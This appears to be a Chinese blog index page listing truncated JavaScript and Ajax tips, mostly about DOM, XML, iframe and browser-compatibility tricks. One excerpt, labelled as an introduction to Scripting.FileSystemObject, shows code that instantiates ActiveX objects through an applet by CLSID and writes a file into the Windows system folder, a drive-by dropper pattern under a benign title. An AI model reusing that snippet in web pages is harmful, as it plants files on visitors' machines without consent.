生成与中文字符串相对映的拼音首字母串的函数

评论(0)浏览(158)分类:JavaScript/Ajax开发技巧
生成与中文字符串相对映的拼音首字母串的函数+展开-JavaScript/*作者:梅雪香日期:2006-7-29功能:生成与中文字符串相对映的拼音首字母串版本:V1.0alpha*///汉字拼音首字母列表本列表包含了20902个汉字,用于配合ToChineseSpell//函数使用,本表收录的字符的Unicode编码范围为19968至40869,XDesigner整理varstrChineseFirstPY="YDYQSXMWZSSXJBYMGCCZQPSSQBYCDSCDQLDYLYBSSJGYZZJJFKCCLZDHWDWZJL..

层不能跨框架(包括TEXTAREA)显示的解决办法

评论(0)浏览(108)分类:JavaScript/Ajax开发技巧
层不能跨框架(包括TEXTAREA)显示的解决办法这个问题尤其在写菜单的时候经常遇到,即:一个页面内的“层”无论z-index设的多么大,只要遇到框架等便被截了:(其实解决办法很简单,在要跨框架的层里加入iframe即可解决:+展开-HTMLdivstyle="position:absolute;width:140;height:200;z-index:10"iframesrc="menu.asp"width='100%'height='100%'/iframe/divdivstyle="postion:absolute;top:..

javascript之DOM技术

评论(0)浏览(93)分类:JavaScript/Ajax开发技巧
javascript之DOM技术一。样式编程  1.页面中的每一个元素都具有一个style对象,此对象管理元素的CSS样式。这是在IE4.0引入的,后来作为DOM标准被接受。使用方法:  var oDiv=document.getElementById("div1");  alert(oDiv.style.backgroundColor);  style对象拥有一个cssText属性,返回描述元素样式的CSS字符串。  2.样式对象style的方法(IE6并不支持这些..

javascript之DOM技术1

评论(0)浏览(115)分类:JavaScript/Ajax开发技巧
javascript之DOM技术1首先需要理解的一点是,DOM是针对XML的基于树的API,它的实现有很多(各语言基本都有自己的实现),我们讨论的是javascript中或者说xhtml(html)对DOM的实现。  一、使用DOM  考虑一个html文件:+展开-HTMLhtmlheadtitle测试/title/headbodyp测试/p/body/html  1.访问节点:  访问html元素:var oHtml=document.documentElement;  获取..

javascript之XML DOM对象

评论(0)浏览(128)分类:JavaScript/Ajax开发技巧
javascript之XML DOM对象javacript中对xml dom的支持,与其他任何特性一样面临着浏览器兼容问题。  一 IE中的XML DOM  1.微软通过ActiveX的MSXML库提供了支持,通过:  var oXmlDom = new ActiveXObject("MSXML2.DOMDocument.5.0")得到一个XML DOM对象,这是在IE6中的,如果你的IE是更老版本的,可以使用下面的函数得到,如果你没有安装MSXML,将不能得到:+展开-..

relatedTarget方法的介绍

评论(0)浏览(90)分类:JavaScript/Ajax开发技巧
relatedTarget方法的介绍+展开-HTML!!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">htmlxmlns="http://www.w3.org/1999/xhtml"headmetahttp-equiv="Content-Type"content="text/html;charset=gb2312"/titlerelatedTarget对象介绍/titlescripttype="text/javascript"!function(bool){//兼容FF一些..

window.scrollBy()方法使用示例

评论(0)浏览(80)分类:JavaScript/Ajax开发技巧
window.scrollBy()方法使用示例+展开-HTMLhtmlheadtitlewindow.scrollBy()函数/titlescriptlaguage="javascript"functionMoveWindow(sign,value1){vary;varx;if(sign=="ver"){x=0;y=value1;}else{y=0;x=value1;}window.scrollBy(x,y);}/script/headbodybgcolor="#6699ff"text="#000000"formtableborder=0align=centertrtdcolspan=4align=centerbgcolor=lightgreenfontcolor=bl..

Ajax初接触-配置环境

评论(0)浏览(109)分类:JavaScript/Ajax开发技巧
Ajax初接触-配置环境 在前期系统学习了Corba、Web Services、网格的一些相关知识,感觉受益菲浅,有一种豁然开朗的感觉,相关的学习笔记就不上传了,以软件重用为主导的软件设计思想在以后的项目开发中会深入我心,所以还得不断学习新技术为我所用。 这两天一直在学习Ajax技术,因为在以前的.net开发中深感Web效率低下,这次得好好取取经。 第一步:安装Ajax.net。 ..

AJAX项目中在IE浏览器上遇到"Internet Explorer无法打开站点,已终止操作"错误解决方案

评论(0)浏览(219)分类:JavaScript/Ajax开发技巧
AJAX项目中在IE浏览器上遇到"Internet Explorer无法打开站点,已终止操作"错误解决方案 keywords: IE, JavaScript, AJAX, "Internet Explorer无法打开站点,已终止操作" 错误原因:在页面还没有ready的时候就调用了htmlObject的appendChild或者innerHTML操作。 解决方案:在appendChild或者innerHTML操作处判断document.readyState=="complete", 若为否,则setTimeout若干秒之后重新作这个操作。 如果你的操作对时间敏感,那就要重新设..

不间断滚动文字的JS代码

评论(0)浏览(81)分类:JavaScript/Ajax开发技巧
不间断滚动文字的JS代码 +展开-HTMLhtmlhead/headbodydivid="marquees"--这些是字幕的内容,你可以任意定义--ahref="#"链接1/abrahref="#"链接2/abrahref="#"链接3/abrahref="#"链接4/abr--字幕内容结束--/div--以下是javascript代码--scriptlanguage="javascript"__注释3__/script/body/html

firefox下光标处插入文本

评论(0)浏览(112)分类:JavaScript/Ajax开发技巧
firefox下光标处插入文本做可视化编辑的器的时候突然发现一个问题,原来在TEXTAREA里面,FF的做法是: +展开-JavaScriptvarrangeStart=textObj.selectionStart;varrangeEnd=textObj.selectionEnd;vartempStr1=textObj.value.substring(0,rangeStart);vartempStr2=textObj.value.substring(rangeEnd);textObj.value=tempStr1+textFeildValue+tempStr2;textObj.focu..

JavaScript中parseInt()函数问题

评论(0)浏览(108)分类:JavaScript/Ajax开发技巧
JavaScript中parseInt()函数问题 这个问题大家可能会忽视,我在项目中就遇到了。写了提醒一下大家!!!在用javascript的parseInt函数时,parseInt("08")或者parseInt("09")返回的居然是0,而parseInt("01")...parseInt("07")都是正确的,一开始很难理解,后来发现出现这个问题的原因是当在前面有"0"时,javascript的debugger会认为这是一个八进制数,而"08"和"09"不是一个合法的..

当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数

评论(0)浏览(130)分类:JavaScript/Ajax开发技巧
当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数 这几天再搞web编辑器,就为兼容ff搞得我头都大了,特别是如何对designMode="On"的iframe添加事件。好在搞好了,happy。。。下面是一个demo代码,说明了如何在ff下对designMode="On"的iframe添加事件+展开 -HTMLhtmlheadtitle当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数/title/headbodyscript//扩展string原型String.prot..

JS实现全选

评论(0)浏览(119)分类:JavaScript/Ajax开发技巧
JS实现全选+展开-HTMLbodyafefeLZbrahref="fdjlfj"fafljal/abr1245brimgsrc="logo.gif"brfefefe/bodyscripttype="text/javascript"functionselectCode(a){vare=a;if(document.all){varr=document.selection.createRange();r.moveEnd("character",e.innerText.length);r.select();}else{vars=window.getSelection();varr=document.createRange();r.selectNo..

自动选择最快的镜像服务器

评论(0)浏览(69)分类:JavaScript/Ajax开发技巧
自动选择最快的镜像服务器+展开-HTMLSCRIPTLANGUAGE="JavaScript"functionkillErrors(){returntrue;}window.onerror=killErrors;//-->/scriptSCRIPTlanguage=JavaScriptvari=1;if(top.location!=location)top.location.href=location.href;self.moveTo(0,0);self.resizeTo(screen.availWidth,screen.availHeight);//-->/scripthtmlheadtitle网通电信自动选择-网站标题/ti..

js创建桌面快捷方式

评论(0)浏览(273)分类:JavaScript/Ajax开发技巧
js创建桌面快捷方式script type="text/vbscript"Set WshShell =CreateObject("WScript.Shell") strDesktop = WshShell.SpecialFolders("Desktop") '特殊文件夹“桌面” '在桌面创建一个记事本快捷方式 set oShellLink = WshShell.CreateShortcut(strDesktop "\Internet Explorer.lnk") oShellLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe..

WScript.shell修改更改输入法

评论(0)浏览(165)分类:JavaScript/Ajax开发技巧
WScript.shell修改更改输入法+展开 -HTMLscripttype="text/javascript"functionCTRL$Space(){varwsh=newActiveXObject("WScript.shell");//注意,仅IE浏览器有效果,而且由于权限问题,有可能导致无法创建WScript.shellwsh.sendKeys("^")wsh=null;}/scriptfontcolor='red'在进入这个页面时,第一次获取焦点时会有创建对象的安全提示,后面允许就不会提示了/fontbr获得焦点后..

Scripting.FileSystemObject介绍

评论(0)浏览(181)分类:JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..

js事件相关

评论(0)浏览(97)分类:JavaScript/Ajax开发技巧
js事件相关+展开-JavaScriptfunctionstopBubble(e){if(e&&e.stopPropagation){e.stopPropagation();}else{window.event.cancelBubble=true;}}function$(id){returndocument.getElementById(id);}//mousedown时:if($("name").setCapture){//IE$("name").setCapture();}elseif(window.captureEvents){//FFwindow.captureEvents(Event.MOUSEMOVE|Event.MOUSE..

兼容firefox的 outerHTML

评论(0)浏览(83)分类:JavaScript/Ajax开发技巧
兼容firefox的 outerHTML+展开-JavaScript/***兼容firefox的outerHTML使用以下代码后,firefox可以使用element.outerHTML**/if(window.HTMLElement){HTMLElement.prototype.__defineSetter__("outerHTML",function(sHTML){varr=this.ownerDocument.createRange();r.setStartBefore(this);vardf=r.createContextualFragment(sHTML);this.parentNode.replaceChild(df,this..

XML数据岛测试

评论(0)浏览(102)分类:JavaScript/Ajax开发技巧
XML数据岛测试+展开-HTMLhtmlheadmetahttp-equiv="http-content"content="text/html;charset=gb2312"/titleXML数据岛测试/title/headbodyxmlid='ds'rowsrowid2/idnamename2/name/rowrowid1/idnamename1/name/rowrowid3/idnamename3/name/row/rows/xmlscriptvaradBSTR=8;varadBigInt=20;vardsrs=ds.recordset;varrs=newActiveXObject("adodb.recordset");with(..

XMLDOM对象

评论(0)浏览(128)分类:JavaScript/Ajax开发技巧
XMLDOM对象nsvar xmlDoc=implementation.createDocument("ns","root",null);第一个参数,ns,定义用于XML文档的命名空间(namespace)。第二个参数,root,是XML文件中的XML根元素。第三个参数,null,一般总是null,这是由于目前还没有用到这个参数。下面的代码段可向Mozilla浏览器的XML解析器载入一个已有的XML文档("note.xml"):var xmlDoc=implementat..

Window.Open参数详解

评论(0)浏览(137)分类:JavaScript/Ajax开发技巧
Window.Open参数详解Window.Open参数、返回值一、window.open()支持环境:JavaScript1.0+/JScript1.0+/Nav2+/IE3+/Opera3+二、基本语法:window.open(pageURL,name,parameters) 其中:pageURL 为子窗口路径 name 为子窗口句柄 parameters 为窗口参数(各参数用逗号分隔) 三、示例: window.open ('page.html','newwindow','height=100,width=400,top=0,left=0,toolba..

TextArea编辑器

评论(0)浏览(83)分类:JavaScript/Ajax开发技巧
TextArea编辑器+展开-HTMLhtmlheadmetahttp-equiv="http-content"content="text/html;charset=gb2312"/titleTextArea编辑器/title/headbodyformmethod='post'action='test.asp'textareaid="editor"name='c'rows="10"cols="50"/textareascriptlanguage="javascript"type="text/javascript"vareditor=document.getElementById("editor");vare=document.createEle..

showModalDialog参数说明

评论(0)浏览(91)分类:JavaScript/Ajax开发技巧
showModalDialog参数说明showModalDialog参数说明showModalDialog() (Internet Explorer 4 and above) showModelessDialog() (Internet Explorer 5 and above) vReturnValue = window.showModalDialog(sURL[, vArguments][, sFeatures]); vReturnValue = window.showModelessDialog(sURL[, vArguments][, sFeatures]); 其中: vArguments 是要传到子窗体的参数; sFeatu..

javascript继承

评论(0)浏览(125)分类:JavaScript/Ajax开发技巧
javascript继承javascript的prototype继承 基本的用法 把ClassA的一个实例赋值给ClassB ClassB就继承了ClassA的所有属性+展开-HTMLscriptfunctionClassA(){this.a='a';}functionClassB(){this.b='b';}ClassB.prototype=newClassA();varobjB=newClassB();for(varpinobjB)document.write(p+"br>");/script从原型继承理论的角度去考虑 js的原型继承是引用原型 不是..

IE下的Node对象

评论(0)浏览(95)分类:JavaScript/Ajax开发技巧
IE下的Node对象+展开-JavaScriptif(!window.Node){varNode={ELEMENT_NODE:1,ATTRIBUTE_NODE:2,TEXT_NODE:3,COMMENT_NODE:8,DOCUMENT_NODE:9,DOCUMENT_FRAGMENT_NODE:11}}